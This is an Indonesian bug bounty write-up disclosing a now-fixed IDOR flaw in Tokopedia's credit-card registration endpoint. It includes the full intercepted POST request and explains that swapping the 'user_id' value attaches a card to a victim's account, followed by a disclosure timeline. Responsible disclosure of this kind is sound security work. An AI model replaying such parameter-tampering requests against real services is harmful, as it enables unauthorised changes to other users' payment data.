Tokopedia Bug Bounty — Bug IDOR Able Add Credit Card to Another User

Blog ini akan jadi blog baru saya, yang sebelum nya ditulis di https://bugbounty-hunter.blogspot.co.id mungkin semua tulisan disana akan saya pindahkan ke medium ini,

Kali ini saya menemukan bug Insecure Direct Object Reference (IDOR) yang memungkinkan attacker menambahkan credit card ke akun lain/korban, sebenar nya bug ini sudah di perbaiki dan di bayar bulan lalu namun saya baru sempat membagikan proof of concept nya sekarang.

Apa itu IDOR?

IDOR atau Insecure Direct Object Reference adalah vulnerability yang sering muncul karena tidak adanya pengecekan hak akses user terhadap suatu objek (data). User bisa mengubah key yang jadi reference ke objek (misalnya ID di database) dan bisa mendapatkan akses ke data (bisa melihat atau malah bisa mengubah juga).

Proof of Concept :

  1. Saya lakukan intercept lewat brupsuite dan nemu request data seperti ini :

Url : pay.tokopedia.id/v2/ccregister/insert

POST /v2/ccregister/insert HTTP/1.1 
Host: pay.tokopedia.id
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 403
Origin: https://pay.tokopedia.id
Connection: close
Referer: https://pay.tokopedia.id/v2/ccregister/iframe

{"cc_card_no":"46616010xxxxxxxx","cc_expired_month":"11","cc_expired_year":"2024","cc_cvv":"885","merchant_code":"tokopedia","profile_code":"TKPD_VOUCHER","user_id":"ID KORBAN","customer_name":"Anggi Gunawan","customer_email":"test@test.com","customer_msisdn":"","ccvault_merchant":"MERCHANT_SCROOGE","callback_url":"https://m.tokopedia.com/user/payment/creditcard","use_custom_back_url":""}

Kerentanan ada di parameter “user_id” , kita tinggal ganti user_id nya ke user id korban lalu kirim kan kembali datanya, maka credit card yang di tambahkan tapi yang seharusnya ke akun kita, malah jadi ke user lain karna tidak ada pengecekan terlebih dahulu sebelum datanya di tambahkan.

Time Line :

  • 03–03–2020 12:58:20 (Bug Report)
  • 11–03–2020 15:09:42 (Bug dinyatakan valid dengan severity MEDIUM)
  • 02–04–2020 11:55:39 (Bug fixed dan meminta data diri)
  • 04–06–2020 06:51:18 (Reward Rp. 1.900,000)

Linkedin : https://www.linkedin.com/in/anggi-gunawan17/

Website : https://kitabantu.co.id

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store